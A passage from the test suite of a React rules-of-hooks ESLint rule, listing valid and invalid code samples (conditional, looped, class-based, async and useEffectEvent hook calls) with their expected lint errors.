FILLER ?? FILLER ?? FILLER;\n\n          useSomeHook();\n\n          if (anyConditionCanEvenBeFalse) {\n            return null;\n          }\n\n          return (\n            <React.Fragment>\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n            </React.Fragment>\n          );\n        };\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because the neither the condition nor the loop affect the hook call.\n        function App(props) {\n          const someObject = {propA: true};\n          for (const propName in someObject) {\n            if (propName === true) {\n            } else {\n            }\n          }\n          const [myState, setMyState] = useState(null);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function App() {\n          const text = use(Promise.resolve('A'));\n          return <Text text={text} />\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        import * as React from 'react';\n        function App() {\n          if (shouldShowText) {\n            const text = use(query);\n            const data = React.use(thing);\n            const data2 = react.use(thing2);\n            return <Text text={text} />\n          }\n          return <Text text={shouldFetchBackupText ? use(backupQuery) : \"Nothing to see here\"} />\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function App() {\n          let data = [];\n          for (const query of queries) {\n            const text = use(item);\n            data.push(text);\n          }\n          return <Child data={data} />\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function App() {\n          const data = someCallback((x) => use(x));\n          return <Child data={data} />\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        export const notAComponent = () => {\n           return () => {\n            useState();\n          }\n        }\n      `,\n      // TODO: this should error but doesn't.\n      // errors: [functionError('use', 'notAComponent')],\n    },\n    {\n      code: normalizeIndent`\n        export default () => {\n          if (isVal) {\n            useState(0);\n          }\n        }\n      `,\n      // TODO: this should error but doesn't.\n      // errors: [genericError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        function notAComponent() {\n          return new Promise.then(() => {\n            useState();\n          });\n        }\n      `,\n      // TODO: this should error but doesn't.\n      // errors: [genericError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        // Valid because the hook is outside of the loop\n        const Component = () => {\n          const [state, setState] = useState(0);\n          for (let i = 0; i < 10; i++) {\n            console.log(i);\n          }\n          return <div></div>;\n        };\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid: useEffectEvent can be called in custom effect hooks configured via ESLint settings\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useMyEffect(() => {\n            onClick();\n          });\n          useServerEffect(() => {\n            onClick();\n          });\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: '(useMyEffect|useServerEffect)',\n        },\n      },\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Valid: useEffectEvent can be called in custom effect hooks configured via ESLint settings\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useMyEffect(() => {\n            onClick();\n          });\n          useServerEffect(() => {\n            onClick();  \n          });\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: '(useMyEffect|useServerEffect)',\n        },\n      },\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions created with useEffectEvent can be called in a useEffect.\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useEffect(() => {\n            onClick();\n          });\n          React.useEffect(() => {\n            onClick();\n          });\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Valid because functions created with useEffectEvent can be called in a useEffect.\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useEffect(() => {\n            onClick();\n          });\n          React.useEffect(() => {\n            onClick();\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions created with useEffectEvent can be passed by reference in useEffect\n        // and useEffectEvent.\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          const onClick2 = useEffectEvent(() => {\n            debounce(onClick);\n            debounce(() => onClick());\n            debounce(() => { onClick() });\n            deboucne(() => debounce(onClick));\n          });\n          useEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          React.useEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          return null;\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Valid because functions created with useEffectEvent can be passed by reference in useEffect\n        // and useEffectEvent.\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          const onClick2 = useEffectEvent(() => {\n            debounce(onClick);\n            debounce(() => onClick());\n            debounce(() => { onClick() });\n            deboucne(() => debounce(onClick));\n          });\n          useEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          React.useEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          return null;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ theme }) {\n          useEffect(() => {\n            onClick();\n          });\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        component MyComponent(theme: any) {\n          useEffect(() => {\n            onClick();\n          });\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ theme }) {\n          // Can receive arguments\n          const onEvent = useEffectEvent((text) => {\n            console.log(text);\n          });\n\n          useEffect(() => {\n            onEvent('Hello world');\n          });\n          React.useEffect(() => {\n            onEvent('Hello world');\n          });\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        component MyComponent(theme: any) {\n          // Can receive arguments\n          const onEvent = useEffectEvent((text) => {\n            console.log(text);\n          });\n\n          useEffect(() => {\n            onEvent('Hello world');\n          });\n          React.useEffect(() => {\n            onEvent('Hello world');\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions created with useEffectEvent can be called in useLayoutEffect.\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useLayoutEffect(() => {\n            onClick();\n          });\n          React.useLayoutEffect(() => {\n            onClick();\n          });\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Valid because functions created with useEffectEvent can be called in useLayoutEffect.\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useLayoutEffect(() => {\n            onClick();\n          });\n          React.useLayoutEffect(() => {\n            onClick();\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions created with useEffectEvent can be called in useInsertionEffect.\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useInsertionEffect(() => {\n            onClick();\n          });\n          React.useInsertionEffect(() => {\n            onClick();\n          });\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Valid because functions created with useEffectEvent can be called in useInsertionEffect.\n        component MyComponent(theme) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useInsertionEffect(() => {\n            onClick();\n          });\n          React.useInsertionEffect(() => {\n            onClick();\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions created with useEffectEvent can be passed by reference in useLayoutEffect \n        // and useInsertionEffect.\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          const onClick2 = useEffectEvent(() => {\n            debounce(onClick);\n            debounce(() => onClick());\n            debounce(() => { onClick() });\n            deboucne(() => debounce(onClick));\n          });\n          useLayoutEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          React.useLayoutEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          useInsertionEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          React.useInsertionEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          return null;\n        }\n      `,\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Valid because functions created with useEffectEvent can be passed by reference in useLayoutEffect.\n        // and useInsertionEffect.\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          const onClick2 = useEffectEvent(() => {\n            debounce(onClick);\n            debounce(() => onClick());\n            debounce(() => { onClick() });\n            deboucne(() => debounce(onClick));\n          });\n          useLayoutEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          React.useLayoutEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          useInsertionEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          React.useInsertionEffect(() => {\n            let id = setInterval(() => onClick(), 100);\n            return () => clearInterval(onClick);\n          }, []);\n          return null;\n        }\n      `,\n    },\n  ],\n  invalid: [\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        component Button(cond: boolean) {\n          if (cond) {\n            useConditionalHook();\n          }\n        }\n      `,\n      errors: [conditionalError('useConditionalHook')],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        hook useTest(cond: boolean) {\n          if (cond) {\n            useConditionalHook();\n          }\n        }\n      `,\n      errors: [conditionalError('useConditionalHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithConditionalHook() {\n          if (cond) {\n            useConditionalHook();\n          }\n        }\n      `,\n      errors: [conditionalError('useConditionalHook')],\n    },\n    {\n      code: normalizeIndent`\n        Hook.useState();\n        Hook._useState();\n        Hook.use42();\n        Hook.useHook();\n        Hook.use_hook();\n      `,\n      errors: [\n        topLevelError('Hook.useState'),\n        topLevelError('Hook.use42'),\n        topLevelError('Hook.useHook'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        class C {\n          m() {\n            This.useHook();\n            Super.useHook();\n          }\n        }\n      `,\n      errors: [classError('This.useHook'), classError('Super.useHook')],\n    },\n    {\n      code: normalizeIndent`\n        // This is a false positive (it's valid) that unfortunately\n        // we cannot avoid. Prefer to rename it to not start with \"use\"\n        class Foo extends Component {\n          render() {\n            if (cond) {\n              FooStore.useFeatureFlag();\n            }\n          }\n        }\n      `,\n      errors: [classError('FooStore.useFeatureFlag')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithConditionalHook() {\n          if (cond) {\n            Namespace.useConditionalHook();\n          }\n        }\n      `,\n      errors: [conditionalError('Namespace.useConditionalHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function createComponent() {\n          return function ComponentWithConditionalHook() {\n            if (cond) {\n              useConditionalHook();\n            }\n          }\n        }\n      `,\n      errors: [conditionalError('useConditionalHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookWithConditionalHook() {\n          if (cond) {\n            useConditionalHook();\n          }\n        }\n      `,\n      errors: [conditionalError('useConditionalHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function createHook() {\n          return function useHookWithConditionalHook() {\n            if (cond) {\n              useConditionalHook();\n            }\n          }\n        }\n      `,\n      errors: [conditionalError('useConditionalHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithTernaryHook() {\n          cond ? useTernaryHook() : null;\n        }\n      `,\n      errors: [conditionalError('useTernaryHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function ComponentWithHookInsideCallback() {\n          useEffect(() => {\n            useHookInsideCallback();\n          });\n        }\n      `,\n      errors: [genericError('useHookInsideCallback')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function createComponent() {\n          return function ComponentWithHookInsideCallback() {\n            useEffect(() => {\n              useHookInsideCallback();\n            });\n          }\n        }\n      `,\n      errors: [genericError('useHookInsideCallback')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        const ComponentWithHookInsideCallback = React.forwardRef((props, ref) => {\n          useEffect(() => {\n            useHookInsideCallback();\n          });\n          return <button {...props} ref={ref} />\n        });\n      `,\n      errors: [genericError('useHookInsideCallback')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        const ComponentWithHookInsideCallback = React.memo(props => {\n          useEffect(() => {\n            useHookInsideCallback();\n          });\n          return <button {...props} />\n        });\n      `,\n      errors: [genericError('useHookInsideCallback')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function ComponentWithHookInsideCallback() {\n          function handleClick() {\n            useState();\n          }\n        }\n      `,\n      errors: [functionError('useState', 'handleClick')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function createComponent() {\n          return function ComponentWithHookInsideCallback() {\n            function handleClick() {\n              useState();\n            }\n          }\n        }\n      `,\n      errors: [functionError('useState', 'handleClick')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithHookInsideLoop() {\n          while (cond) {\n            useHookInsideLoop();\n          }\n        }\n      `,\n      errors: [loopError('useHookInsideLoop')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithHookInsideLoop() {\n          do {\n            useHookInsideLoop();\n          } while (cond);\n        }\n      `,\n      errors: [loopError('useHookInsideLoop')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithHookInsideLoop() {\n          do {\n            foo();\n          } while (useHookInsideLoop());\n        }\n      `,\n      errors: [loopError('useHookInsideLoop')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function renderItem() {\n          useState();\n        }\n\n        function List(props) {\n          return props.items.map(renderItem);\n        }\n      `,\n      errors: [functionError('useState', 'renderItem')],\n    },\n    {\n      code: normalizeIndent`\n        // Currently invalid because it violates the convention and removes the \"taint\"\n        // from a hook. We *could* make it valid to avoid some false positives but let's\n        // ensure that we don't break the \"renderItem\" and \"normalFunctionWithConditionalHook\"\n        // cases which must remain invalid.\n        function normalFunctionWithHook() {\n          useHookInsideNormalFunction();\n        }\n      `,\n      errors: [\n        functionError('useHookInsideNormalFunction', 'normalFunctionWithHook'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // These are neither functions nor hooks.\n        function _normalFunctionWithHook() {\n          useHookInsideNormalFunction();\n        }\n        function _useNotAHook() {\n          useHookInsideNormalFunction();\n        }\n      `,\n      errors: [\n        functionError('useHookInsideNormalFunction', '_normalFunctionWithHook'),\n        functionError('useHookInsideNormalFunction', '_useNotAHook'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function normalFunctionWithConditionalHook() {\n          if (cond) {\n            useHookInsideNormalFunction();\n          }\n        }\n      `,\n      errors: [\n        functionError(\n          'useHookInsideNormalFunction',\n          'normalFunctionWithConditionalHook'\n        ),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookInLoops() {\n          while (a) {\n            useHook1();\n            if (b) return;\n            useHook2();\n          }\n          while (c) {\n            useHook3();\n            if (d) return;\n            useHook4();\n          }\n        }\n      `,\n      errors: [\n        loopError('useHook1'),\n        loopError('useHook2'),\n        loopError('useHook3'),\n        loopError('useHook4'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookInLoops() {\n          while (a) {\n            useHook1();\n            if (b) continue;\n            useHook2();\n          }\n        }\n      `,\n      errors: [loopError('useHook1'), loopError('useHook2', true)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookInLoops() {\n          do {\n            useHook1();\n            if (a) return;\n            useHook2();\n          } while (b);\n\n          do {\n            useHook3();\n            if (c) return;\n            useHook4();\n          } while (d)\n        }\n      `,\n      errors: [\n        loopError('useHook1'),\n        loopError('useHook2'),\n        loopError('useHook3'),\n        loopError('useHook4'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookInLoops() {\n          do {\n            useHook1();\n            if (a) continue;\n            useHook2();\n          } while (b);\n        }\n      `,\n      errors: [loopError('useHook1'), loopError('useHook2', true)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useLabeledBlock() {\n          label: {\n            if (a) break label;\n            useHook();\n          }\n        }\n      `,\n      errors: [conditionalError('useHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Currently invalid.\n        // These are variations capturing the current heuristic--\n        // we only allow hooks in PascalCase or useFoo functions.\n        // We *could* make some of these valid. But before doing it,\n        // consider specific cases documented above that contain reasoning.\n        function a() { useState(); }\n        const whatever = function b() { useState(); };\n        const c = () => { useState(); };\n        let d = () => useState();\n        e = () => { useState(); };\n        ({f: () => { useState(); }});\n        ({g() { useState(); }});\n        const {j = () => { useState(); }} = {};\n        ({k = () => { useState(); }} = {});\n      `,\n      errors: [\n        functionError('useState', 'a'),\n        functionError('useState', 'b'),\n        functionError('useState', 'c'),\n        functionError('useState', 'd'),\n        functionError('useState', 'e'),\n        functionError('useState', 'f'),\n        functionError('useState', 'g'),\n        functionError('useState', 'j'),\n        functionError('useState', 'k'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          if (a) return;\n          useState();\n        }\n      `,\n      errors: [conditionalError('useState', true)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          if (a) return;\n          if (b) {\n            console.log('true');\n          } else {\n            console.log('false');\n          }\n          useState();\n        }\n      `,\n      errors: [conditionalError('useState', true)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          if (b) {\n            console.log('true');\n          } else {\n            console.log('false');\n          }\n          if (a) return;\n          useState();\n        }\n      `,\n      errors: [conditionalError('useState', true)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          a && useHook1();\n          b && useHook2();\n        }\n      `,\n      errors: [conditionalError('useHook1'), conditionalError('useHook2')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          try {\n            f();\n            useState();\n          } catch {}\n        }\n      `,\n      errors: [\n        // NOTE: This is an error since `f()` could possibly throw.\n        conditionalError('useState'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook({ bar }) {\n          let foo1 = bar && useState();\n          let foo2 = bar || useState();\n          let foo3 = bar ?? useState();\n        }\n      `,\n      errors: [\n        conditionalError('useState'),\n        conditionalError('useState'),\n        conditionalError('useState'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        const FancyButton = React.forwardRef((props, ref) => {\n          if (props.fancy) {\n            useCustomHook();\n          }\n          return <button ref={ref}>{props.children}</button>;\n        });\n      `,\n      errors: [conditionalError('useCustomHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        const FancyButton = forwardRef(function(props, ref) {\n          if (props.fancy) {\n            useCustomHook();\n          }\n          return <button ref={ref}>{props.children}</button>;\n        });\n      `,\n      errors: [conditionalError('useCustomHook')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        const MemoizedButton = memo(function(props) {\n          if (props.fancy) {\n            useCustomHook();\n          }\n          return <button>{props.children}</button>;\n        });\n      `,\n      errors: [conditionalError('useCustomHook')],\n    },\n    {\n      code: normalizeIndent`\n        // This is invalid because \"use\"-prefixed functions used in named\n        // functions are assumed to be hooks.\n        React.unknownFunction(function notAComponent(foo, bar) {\n          useProbablyAHook(bar)\n        });\n      `,\n      errors: [functionError('useProbablyAHook', 'notAComponent')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous.\n        // Normally, this would crash, but not if you use inline requires.\n        // This *must* be invalid.\n        // It's expected to have some false positives, but arguably\n        // they are confusing anyway due to the use*() convention\n        // already being associated with Hooks.\n        useState();\n        if (foo) {\n          const foo = React.useCallback(() => {});\n        }\n        useCustomHook();\n      `,\n      errors: [\n        topLevelError('useState'),\n        topLevelError('React.useCallback'),\n        topLevelError('useCustomHook'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        // Technically this is a false positive.\n        // We *could* make it valid (and it used to be).\n        //\n        // However, top-level Hook-like calls can be very dangerous\n        // in environments with inline requires because they can mask\n        // the runtime error by accident.\n        // So we prefer to disallow it despite the false positive.\n\n        const {createHistory, useBasename} = require('history-2.1.2');\n        const browserHistory = useBasename(createHistory)({\n          basename: '/',\n        });\n      `,\n      errors: [topLevelError('useBasename')],\n    },\n    {\n      code: normalizeIndent`\n        class ClassComponentWithFeatureFlag extends React.Component {\n          render() {\n            if (foo) {\n              useFeatureFlag();\n            }\n          }\n        }\n      `,\n      errors: [classError('useFeatureFlag')],\n    },\n    {\n      code: normalizeIndent`\n        class ClassComponentWithHook extends React.Component {\n          render() {\n            React.useState();\n          }\n        }\n      `,\n      errors: [classError('React.useState')],\n    },\n    {\n      code: normalizeIndent`\n        (class {useHook = () => { useState(); }});\n      `,\n      errors: [classError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        (class {useHook() { useState(); }});\n      `,\n      errors: [classError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        (class {h = () => { useState(); }});\n      `,\n      errors: [classError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        (class {i() { useState(); }});\n      `,\n      errors: [classError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        async function AsyncComponent() {\n          useState();\n        }\n      `,\n      errors: [asyncComponentHookError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        async function useAsyncHook() {\n          useState();\n        }\n      `,\n      errors: [asyncComponentHookError('useState')],\n    },\n    {\n      code: normalizeIndent`\n        async function Page() {\n          useId();\n          React.useId();\n        }\n      `,\n      errors: [\n        asyncComponentHookError('useId'),\n        asyncComponentHookError('React.useId'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        async function useAsyncHook() {\n          useId();\n        }\n      `,\n      errors: [asyncComponentHookError('useId')],\n    },\n    {\n      code: normalizeIndent`\n        async function notAHook() {\n          useId();\n        }\n      `,\n      errors: [functionError('useId', 'notAHook')],\n    },\n    {\n      code: normalizeIndent`\n        Hook.use();\n        Hook._use();\n        Hook.useState();\n        Hook._useState();\n        Hook.use42();\n        Hook.useHook();\n        Hook.use_hook();\n      `,\n      errors: [\n        topLevelError('Hook.use'),\n        topLevelError('Hook.useState'),\n        topLevelError('Hook.use42'),\n        topLevelError('Hook.useHook'),\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function notAComponent() {\n          use(promise);\n        }\n      `,\n      errors: [functionError('use', 'notAComponent')],\n    },\n    {\n      code: normalizeIndent`\n        const text = use(promise);\n        function App() {\n          return <Text text={text} />\n        }\n      `,\n      errors: [topLevelError('use')],\n    },\n    {\n      code: normalizeIndent`\n        class C {\n          m() {\n            use(promise);\n          }\n        }\n      `,\n      errors: [classError('use')],\n    },\n    {\n      code: normalizeIndent`\n        async function AsyncComponent() {\n          use();\n        }\n      `,\n      errors: [asyncComponentHookError('use')],\n    },\n    {\n      code: normalizeIndent`\n        function App({p1, p2}) {\n          try {\n            use(p1);\n          } catch (error) {\n            console.error(error);\n          }\n          use(p2);\n          return <div>App</div>;\n        }\n      `,\n      errors: [tryCatchUseError('use')],\n    },\n    {\n      code: normalizeIndent`\n        function App({p1, p2}) {\n          try {\n            doSomething();\n          } catch {\n            use(p1);\n          }\n          use(p2);\n          return <div>App</div>;\n        }\n      `,\n      errors: [tryCatchUseError('use')],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid: useEffectEvent should not be callable in regular custom hooks without additional configuration\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useCustomHook(() => {\n            onClick();\n          });\n        }\n      `,\n      errors: [useEffectEventError('onClick', true)],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n      // Component syntax version\n      // Invalid: useEffectEvent should not be callable in regular custom hooks without additional configuration\n      component MyComponent() {\n        const onClick = useEffectEvent(() => {\n          showNotification(theme);\n        });\n        useCustomHook(() => {\n          onClick();\n        });\n      }\n      `,\n      errors: [useEffectEventError('onClick', true)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid: useEffectEvent should not be callable in hooks not matching the settings regex\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useWrongHook(() => {\n            onClick();\n          });\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: 'useMyEffect',\n        },\n      },\n      errors: [useEffectEventError('onClick', true)],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Invalid: useEffectEvent should not be callable in hooks not matching the settings regex\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          useWrongHook(() => {\n            onClick();\n          });\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: 'useMyEffect',\n        },\n      },\n      errors: [useEffectEventError('onClick', true)],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ theme }) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          return <Child onClick={onClick}></Child>;\n        }\n      `,\n      errors: [useEffectEventError('onClick', false)],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        component MyComponent(theme: any) {\n          const onClick = useEffectEvent(() => {\n            showNotification(theme);\n          });\n          return <Child onClick={onClick}></Child>;\n        }\n      `,\n      errors: [useEffectEventError('onClick', false)],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because useEffectEvent is being passed down\n        function MyComponent({ theme }) {\n          return <Child onClick={useEffectEvent(() => {\n            showNotification(theme);\n          })} />;\n        }\n      `,\n      errors: [{...useEffectEventError(null, false), line: 4}],\n    },\n    {\n      syntax: 'flow',\n      code: normalizeIndent`\n        // Component syntax version\n        // Invalid because useEffectEvent is being passed down\n        component MyComponent(theme: any) {\n          return <Child 